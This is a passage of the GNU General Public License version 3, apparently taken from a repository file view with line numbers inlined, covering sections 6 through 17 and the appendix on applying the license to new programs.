object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------